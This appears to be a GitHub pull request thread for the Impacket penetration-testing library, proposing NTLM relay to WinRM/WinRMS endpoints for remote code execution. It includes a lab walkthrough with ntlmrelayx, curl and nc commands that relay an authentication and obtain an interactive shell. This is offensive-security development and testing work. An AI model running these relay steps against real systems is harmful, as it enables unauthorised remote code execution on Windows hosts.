Skip to content

Conversation

@Dfte
Copy link
Contributor

@Dfte Dfte commented Apr 14, 2025

This PR adds a new relay capability allowing us to relay SMB/LDAP/HTTP NTLM (v1 or unsecured ones) authentications to the WinRM HTTPS endpoint.

This endpoint is not configured on a default server installation but it is not protected by Channel Binding once configured by a sysadmin which makes it a possible great relay alternative for remote code executino.

Default action creates an interactive TCP shell that can be used via NC (socks is also implemented):

image

This PR was created by Joseph Mondloch (jmk@foofus) and me :)

@NeffIsBack
Copy link
Contributor

That's some crazy stuff, good job @Dfte!

@Dfte
Copy link
Contributor Author

Dfte commented Apr 17, 2025

Updates needed. I realized far too late that this technique was working on my environements because NTLMv1 was enabled. This technique won't work for NTLMv2 as is. Yet, I believe this can still be an interesting use case to add to Impacket as this module can still be used if:

  • NTLMv1 is activated (natively or via downgrade attacks) ;
  • MITM allows redirecting legitimate WinRM connections to our listener ;
  • WinRM listener is configured to not support CBT (CBT=None).

Once again, sorry for the misinformation and feel free to add/deny this feature :)

@Dfte
Copy link
Contributor Author

Dfte commented Apr 21, 2025

Have seen the error which made me realize I forgot to include latest WinRMrelayserver upgrades. And I fixed the spelling issues as well so hopefully I'll push all the updates in a couple of days :)

@Dfte
Copy link
Contributor Author

Dfte commented Apr 22, 2025

At this point I have added:

  • The WinRMRelayServer and WinRMSRelayServer which allows catching NTLM authentication over these two protocols ;
  • The WinRMAttack which allows relaying to:
    • Anything if NTLMv1 is used ;
    • WinRMS endpoints if configured with CBT=None

:P

@dadevel
Copy link
Contributor

dadevel commented Apr 27, 2025

For anybody who wants to play around with this PR:

Setup WinRMS.

New-SelfSignedCertificate -Subject 'CN=dc01.corp.local' -TextExtension '2.5.29.37={text}1.3.6.1.5.5.7.3.1'c
winrm create 'winrm/config/Listener?Address=*+Transport=HTTPS' '@{Hostname="dc01.corp.local"; CertificateThumbprint="9592A6D026E71AFFA17049D16D74AA7C47A89788"}'
New-NetFirewallRule -DisplayName 'WinRM HTTPS' -Direction 'Inbound' -LocalPort 5986 -Protocol 'TCP' -Action 'Allow' -Program 'System'

Start relay server.

ntlmrelayx.py -debug --no-smb-server --no-wcf-server --no-raw-server -t winrms://dc01.corp.local

Trigger authentication.

curl http://localhost -u 'corp\administrator:passw0rd' --ntlm

Get shell.

nc -v 127.0.0.1 11000

@Dfte
Copy link
Contributor Author

Dfte commented Jun 17, 2025

Hey @anadrianmanrique any news on this one ? Considering it doesn't change any files or structures but simply adds new ones, can we merge that?

@anadrianmanrique
Copy link
Collaborator

anadrianmanrique commented Jun 22, 2025

@Dfte sorry for not answering, I've been OOO last week. I think this is a great feature besides limitations with NTLMv2. We are planning to integrate it in the context of 0.13 version, which is soon to be released. Glad to see that you reopened it #1987

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants